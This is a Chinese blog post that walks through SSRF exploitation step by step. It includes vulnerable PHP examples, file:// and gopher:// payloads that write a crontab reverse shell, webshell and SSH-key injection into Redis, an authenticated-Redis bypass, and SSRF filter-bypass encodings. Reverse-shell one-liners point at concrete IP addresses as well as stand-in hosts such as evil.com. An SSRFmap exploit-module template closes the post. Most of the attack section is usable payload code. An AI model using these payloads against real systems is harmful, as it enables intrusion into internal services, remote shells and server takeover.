SSRF漏洞攻击利用从浅到深
梳理一下ssrf
不详细 简单记录
0x01 SSRF成因和基本利用
0x02 内网打未授权redis
0x03 关于ssrf打授权的redis
0x04 写redis shell和密钥的一点问题
0x05 SSRF Bypass
0x06 SSRFmap
0x01 SSRF成因和基本利用
php vul function:
- file_get_contents()
- fsockopen()
- curl_exec()
- readfile()
example:
- <?php
- function curl($url){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_exec($ch);
- curl_close($ch);
- }
- $url = $_GET['url'];
- curl($url);
- ?>
- <?php
- function Getfile($host, $port, $link){
- $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
- if(!$fp){
- echo "$errstr (error number $errno) \n";
- }else{
- $out = "GET $link HTTP/1.1\r\n";
- $out .= "HOST $host \r\n";
- $out .= "Connection: Close\r\n\r\n";
- $out .= "\r\n";
- fwrite($fp, $out);
- $content = '';
- while(!feof($fp)){
- $contents .= fgets($fp, 1024);
- }
- fclose($fp);
- return $contents;
- }
- }
- $url = $_GET['url'];
- echo file_get_contents($url);
功能:
内网探测服务banner
file读文件
内网配合其他服务getshell
协议:
- file:///
- dict://
- sftp://
- ldap://
- tftp://
- gopher://
File
url=file:///etc/passwd
url=file:///C:/Windows/win.ini
dict:// -
http://example.com/ssrf.php?dict://etc/passwd
sftp:// -
Sftp代表SSH文件传输协议,或安全文件传输协议,是SSH的内含协议,在安全连接上与SSH类似。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
ldap:// or ldaps:// or ldapi:// -
LDAP代表轻量级目录访问协议。它是一种通过IP网络管理和访问分布式目录信息服务的应用协议。
url=ldap://localhost:1337/%0astats%0aquit
url=ldaps://localhost:1337/%0astats%0aquit
url=ldapi://localhost:1337/%0astats%0aquit
tftp:// -
简单文件传输协议是一种简单的锁步文件传输协议,它允许客户端从远程主机获取文件或将文件放到远程主机上。
url=tftp://evil.com:1337/TESTUDPPACKET
gopher:// -
Gopher是一种分布式的文档传递服务。它允许用户以无缝的方式探索、搜索和检索驻留在不同位置的信息。
url=http://attacker.com/gopher.php
关键字地方字典fuzz即可
0x02 内网打未授权redis
在基础镜像加corntab
- FROM python:3.6-slim
- MAINTAINER whx3000 <wanghaoxi3000@163.com>
- RUN apt-get update && \
- apt-get install -y --no-install-recommends \
- cron && \
- rm -rf /var/lib/apt/lists/* && \
- apt-get clean
- RUN chmod +x ./docker-entrypoint.sh
- ENV LC_ALL C.UTF-8
- ENTRYPOINT ["./docker-entrypoint.sh"]
docker-entrypoint.sh
- #!/bin/bash
- set -x
- env >> /etc/default/locale
- /etc/init.d/cron start
build即可。
不一定使用gopher协议 curl要二次编码
- dict
- curl -vvv 'dict://127.0.0.1:6379/info'
- # file
- curl -vvv 'file:///etc/passwd'
- # gopher
- curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
webshell:
- redis-cli -h 127.0.0.1 flushall
- redis-cli -h 127.0.0.1 config set dir /var/www
- redis-cli -h 127.0.0.1 config set dbfilename shell.php
- redis-cli -h 127.0.0.1 set webshell "<?php phpinfo();?>"
- redis-cli -h 127.0.0.1 save
- curl -v 'http://xxx.xxx.xx.xx/xx.php?url=
- gopher://xxxx:6379/
- _*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
- _POST /demo1.php HTTP/1.1
- Host: 192.168.17.132
- User-Agent: curl/7.42.0
- Accept: */*
- Content-Type: application/x-www-form-urlencoded
- cmd=ccccc
- bash -i >& /dev/tcp/192.168.17.158/2333 0>&1
反弹shell
- redis-cli.exe -h 192.168.18.138
- config set dir /var/spool/cron
- set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.15.3/5555 0>&1\n\n\n"
- config set dbfilename root
- save
- dict://serverip:port/cmd:param
- /xx.php?url=dict://172.21.0.2:6379/info
- /xx.php?url=dict://172.21.0.2:6379/get:user
- /xx.php?url=dict://172.21.0.2:6379/flushall
写密钥:
- 127.0.0.1:6379> config set dir /root/.ssh
- OK
- 127.0.0.1:6379> config set dbfilename authorized_keys
- OK
- 127.0.0.1:6379> set 1 "\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsJ4pbjXL5KnnX/FP6sZORaT3N8/A6SEYv23VfrIVoPdOCBVD98O+RExVWCe8Iknwzx3w1Hm2uWnB6i6AtCnIji3yz16HIPryzoLE65xN4Z2vGXZk2YmOuRtqFPKPk/QCdf1Vxh6lwLZRo2msYEK/+mziOrmYy1UzwqLxfl1uNYVYTs2jHGBEikPwA7FAt5ZVRRBhzDnn8dyT201FOwR/fpukiXbaevZU2/iyW+Qu9ssaZMJMpRzautNuZLxCmV9TfuP0NbsgCBHj1nOMf3BUQNXUtE4aCRP0gHbs18Wvpx5ryWyl/NWWQADOY2dMHMWuTtCxLSrfY/q+H8l+JGdQpw==\n\n"
- OK
- 127.0.0.1:6379> save
0x03 关于ssrf打授权的redis
官网:
- https://redis.io/topics/protocol
使用RESP协议
- 客户端向Redis服务器发送一个仅由Bulk Strings组成的RESP Arrays。
- Redis服务器回复发送任何有效RESP数据类型作为回复的客户端。
Bulk Strings用于表示长度最大为512 MB的单个二进制安全字符串,按以下方式编码:
- 一个
$
字节后跟组成字符串的字节数(一个前缀长度),由CRLF终止。
现在数据包中的每一行数据就好理解了。每一个*number
代表每一行命令,number代表每行命令中数组中的元素个数。$number
代表每个元素的长度。
- *1
- $8
- flushall
- *3
- $3
- set
- $1
- 1
- $22
- <?php phpinfo();?>
- *4
- $6
- config
- $3
- set
- $3
- dir
- $4
- /tmp
- *4
- $6
- config
- $3
- set
- $10
- dbfilename
- $9
- shell.php
- *1
- $4
- save
认证:
- sed -i 's/#requirepass 123123/requirepass 123123/g' /etc/redis.conf
认证传递的字符数组
- *2
- $4
- AUTH
- $6
- 123123
官网对于命令的说明
Request-Response model
.A client can use the same connection in order to issue multiple commands. Pipelining is supported so multiple commands can be sent with a single write operation by the client, without the need to read the server reply of the previous command before issuing the next one. All the replies can be read at the end..
Redis客户端支持管道操作,可以通过单个写入操作发送多个命令,而无需在发出下一个命令之前读取上一个命令的服务器回复。所有的回复都可以在最后阅读。
这也是Redis在认证情况下依然可以被攻击到原因。
重新构造数据包
- %2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A
0x04 写redis shell和密钥的一点问题
折腾了很久 不想说太多
- root@ax9a2j9sajxa9:/var/spool/cron/crontabs# ll
- total 12
- drwx-wx--T 2 root crontab 40236 Dec 5 18:43 ./
- drwxr-xr-x 3 root root 4092 Dec 3 17:57 ../
- -rw------- 1 root crontab 1341 Dec 3 06:47 root
- root@fe8fb94b7fb1:/etc# ll crontab
- -rw-r--r-- 1 root root 743 Apr 5 20169crontab
需要root起起来才可以 docker里默认redis。写计划error
py
- 1
- * * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
bash:
- */1 * * * * /bin/bash -i >& /dev/tcp/xxxx/12345 0>&1
关于payload被截断
- get 1
- "* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
- 127.0.0.1:6379> save
- OK
- 00000000: 5245 4449 5330 3030 36fe 0000 c001 c340 REDIS0006......@
- 00000010: c440 fb02 2a20 2aa0 011f 2f75 7372 2f62 .@..* *.../usr/b
- 00000020: 696e 2f70 7974 686f 6e20 2d63 2027 696d in/python -c 'im
- 00000030: 706f 7274 2073 6f63 6b65 1574 2c73 7562 port socke.t,sub
- 00000040: 7072 6f63 6573 732c 6f73 2c73 7973 3b73 process,os,sys;s
- 00000050: 3d80 1a00 2e80 0600 2880 0608 2e41 465f =.......(....AF_
- 00000060: 494e 4554 2ca0 0e1f 534f 434b 5f53 5452 INET,...SOCK_STR
- 00000070: 4541 4d29 3b73 2e63 6f6e 6e65 6374 2828 EAM);s.connect((
- 00000080: 2231 3135 2e32 382e 0737 382e 3136 222c "115.28..78.16",
- 00000090: 3620 0019 2929 3b6f 732e 6475 7032 2873 6 ..));os.dup2(s
- 000000a0: 2e66 696c 656e 6f28 292c 3029 3b20 e00a .fileno(),0); ..
- 000000b0: 1600 31e0 0d16 0432 293b 703d e001 ab07 ..1....2);p=....
- 000000c0: 2e63 616c 6c28 5b22 60db 0b73 6822 2c22 .call(["`..sh","
- 000000d0: 2d69 225d 293b 27ff 8c5e 76ca 1e73 7b64 -i"]);'..^v..s{d
写入ssh authorized_keys 没被截断
ssh 的问题:
目录 权限问题
authorized key 600 权限 ssh目录700权限
目标需要开启ssh 允许RSA认证
还有的就是路径问题:
最后就是curl写shell时候 ; ? 需要编码。
0x05 SSRF Bypass
http://127.0.0.1:80
http://localhost:22
http://[::]:80/ >>> http://127.0.0.1
http://example.com@127.0.0.1
127。0。0。1 >>> 127.0.0.1
短地址
http://dwz.cn/11SMa >>> http://127.0.0.1
特殊地址
利用的原理是DNS解析
http://127.0.0.1.xip.io/
http://www.owasp.org.127.0.0.1.xip.io/
字符集
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
进制
可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
http://127.0.0.1 >>> http://0177.0.0.1/
http://127.0.0.1 >>> http://2130706433/
http://192.168.0.1 >>> http://3232235521/
http://192.168.1.1 >>> http://3232235777/
0x06 SSRFmap
使用模版改脚本:
- from core.utils import *
- import logging
- name = "servicename inlowercase"
- description = "ServiceName RCE - What does itdo"
- author = "Name or pseudo of theauthor"
- documentation= ["http://link_to_a_research", "http://another_link"]
- class exploit():
- SERVER_HOST = "127.0.0.1"
- SERVER_PORT = "4242"
- def __init__(self, requester, args):
- logging.info("Module '{}' launched!".format(name))
- # Handle args for reverse shell
- if args.lhost == None: self.SERVER_HOST= input("Server Host:")
- else: self.SERVER_HOST = args.lhost
- if args.lport == None: self.SERVER_PORT= input("Server Port:")
- else: self.SERVER_PORT = args.lport
- # Data for the service
- # Using a generator to create the hostlist
- # Edit the following ip if you need totarget something else
- gen_host =gen_ip_list("127.0.0.1", args.level)
- for ip in gen_host:
- port = "6379"
- data ="*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
- payload = wrapper_gopher(data, ip ,port)
- # Handle args for reverse shell
- payload = payload.replace("SERVER_HOST",self.SERVER_HOST)
- payload =payload.replace("SERVER_PORT", self.SERVER_PORT)
- # Send the payload
- r =requester.do_request(args.param, payload)
DZ EXample
- http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2fgopher.php%3Fa.jpg%5B%2fimg%5D
gopher.php
- <?php
- header("Location: gopher://127.0.0.1:2333/_test");
- ?>
其他:
最近自己得控制熬夜通宵了,别猝死了。
tip:多喝热水
SSRF漏洞攻击利用从浅到深的更多相关文章
- SSRF漏洞挖掘利用技巧
参考文章 SSRF漏洞(原理&绕过姿势) SSRF绕过方法总结 SSRF绕过IP限制方法总结 Tag: #SSRF Ref: 概述 总结 利用一个可以发起网络请求的服务当作跳板来攻击内部其他服 ...
- SSRF——漏洞利用(二)
0x01 概述 上篇讲述了SSRF的一般用法,用http协议来进行内网探测,攻击内网redis,接下来讨论的是SSRF的拓展用法,通过,file,gopher,dict协议对SSRF漏洞进行利用. 0 ...
- CVE-2014-4210 SSRF漏洞
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis.fastcgi等脆弱组件. 修复方式: 1.删除server/lib/uddiexplorer.w ...
- Weblogic SSRF漏洞(CVE-2014-4210)
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis.fastcgi等脆弱组件. 关于SSRF漏洞我们就不讲了,传送门--> SSRF(服务端请求 ...
- 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用
浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...
- ref:浅谈XXE漏洞攻击与防御
ref:https://thief.one/2017/06/20/1/ 浅谈XXE漏洞攻击与防御 发表于 2017-06-20 | 分类于 web安全 | 热度 3189 ℃ 你会挽着我 ...
- discuzX3.2 X3.4网站漏洞修复 SQL注入与请求伪造攻击利用与修复
2018年12月9日,国内某安全组织,对discuz X3.2 X3.4版本的漏洞进行了公开,这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞,漏洞 ...
- ssrf漏洞利用(内网探测、打redis)
摘要:存在ssrf漏洞的站点主要利用四个协议,分别是http.file.gopher.dict协议. file协议拿来进行本地文件的读取,http协议拿来进行内网的ip扫描.端口探测,如果探测到637 ...
- SSRF漏洞(原理、漏洞利用、修复建议)
介绍SSRF漏洞 SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞.一般情况下,SSRF攻击的目标是外网无法访问 ...
随机推荐
- 微软发布云端基因服务:推动AI驱动的精准医疗
微软发布云端基因服务:推动AI驱动的精准医疗 2018年03月07日 00:00:00 微软研究院AI头条 阅读数:117 版权声明:本文为博主原创文章,未经博主允许不得转载. https:// ...
- pickle 和 base64 模块的使用
pickle pickle模块是python的标准模块,提供了对于python数据的序列化操作,可以将数据转换为bytes类型,其序列化速度比json模块要高. pickle.dumps() 将pyt ...
- 数组的新API
话不多数,直接上代码: 第一个输出1,2,3,4,5 在函数体中第一个console依次输出1,2,3,4,5 然后再将里面的内容逐个+1,所以第二个输出值为:2,3,4,5,6 但是这都不会改变原数 ...
- Apache Log View 5.37破解笔记
i春秋作家:Sp4ce 之前说过要分享这个日志分析工具[记一次简单的攻击日志分析]的破解版,在破解的路上踩了几个坑,记录分享下. 0×00程序概述 原程序 大小: 2283672 字节文件版本: 5. ...
- iOS 如何判断一个点在圆、方框、三角形区域内?
如何判断一个点是不是在方框(CGRect).圆(Circle).三角形(Triangle)内呢? 1.方框 //苹果官方方法可以判断 + (BOOL)point:(CGPoint)point inSq ...
- oracle排序怎样弄成1 2 3 ,而不是 1 10 100
oracle表字段设置得值不是number,而是Varchar2时排序就会出现这种问题 这个时候排序的时候需要转类型排序: order by to_number(顺序号) asc
- javaWeb文件上传与下载
文件上传与下载在项目中运用的使用频率很大 今天也花时间整理了一下 多文件上传图片回显 和文件下载 1.多文件上传 这里会涉及到几个属性 fileSizeThreshold:缓冲区文件的大小 如果上传 ...
- insert buffer/change buffer double write buffer,双写 adaptive hash index(AHI) innodb的crash recovery innodb重要参数 innodb监控
https://yq.aliyun.com/articles/41000 http://blog.itpub.net/22664653/viewspace-1163838/ http://www.cn ...
- 远程连接服务器数据库报错:Host ‘XXXXXX’ is blocked because of many connection errors
原文:https://blog.csdn.net/li_li_lin/article/details/72764683 一.我遇到的问题描述 使用Navicat for mysql连接公司的服务器数据 ...
- 开启 clr enabled
'; GO RECONFIGURE; GO '; GO RECONFIGURE; '; GO